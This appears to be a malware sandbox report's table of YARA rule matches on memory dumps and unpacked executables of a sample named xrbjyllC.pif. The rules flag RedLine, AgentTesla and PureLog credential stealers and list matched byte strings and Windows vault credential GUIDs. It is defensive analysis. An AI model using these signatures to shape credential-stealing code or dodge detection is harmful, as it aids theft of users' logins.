0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2039086668.0000000027F51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: x.exe PID: 4888	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: xrbjyllC.pif PID: 4544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xrbjyllC.pif PID: 4544	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: xrbjyllC.pif PID: 4108	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xrbjyllC.pif PID: 4108	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: xrbjyllC.pif PID: 6568	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xrbjyllC.pif PID: 6568	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 73 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.1.xrbjyllC.pif.400000.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
17.1.xrbjyllC.pif.400000.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
11.2.xrbjyllC.pif.400000.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
11.2.xrbjyllC.pif.29a80000.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.29a80000.9.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.29a80000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.29a80000.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.29a80000.9.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.2ace5190.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.2ace5190.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2ace5190.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2ace5190.6.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2ace5190.6.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.2c240000.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.2c240000.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2c240000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.25040000.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.25040000.9.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.25040000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2c240000.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4010c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4017e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x40208:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4029a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x40304:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40376:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4040c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4049c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2c980000.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.2c980000.9.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2c980000.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2c240000.7.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x39ee2:$s2: GetPrivateProfileString 0x3d3ba:$s3: get_OSFullName 0x3a610:$s5: remove_Key 0x3a630:$s5: remove_Key 0x3d817:$s6: FtpWebRequest 0x400ee:$s7: logins 0x40660:$s7: logins 0x433b7:$s7: logins 0x43423:$s7: logins 0x465fc:$s7: logins 0x43fbd:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.2c980000.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2c980000.9.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.25040000.9.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.25040000.9.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.23765190.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.23765190.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.23765190.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.23765190.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.23765190.8.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.2ace5190.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.2ace5190.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2ace5190.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2ace5190.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2ace5190.6.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.29a80000.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.29a80000.9.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.29a80000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.29a80000.9.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.29a80000.9.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.27fa5190.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.27fa5190.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.27fa5190.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.27fa5190.8.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.27fa5190.8.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.400000.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
9.2.xrbjyllC.pif.2c240ee8.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.2c240ee8.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.2c240ee8.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.2c240ee8.8.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.2c240ee8.8.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.1.xrbjyllC.pif.400000.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
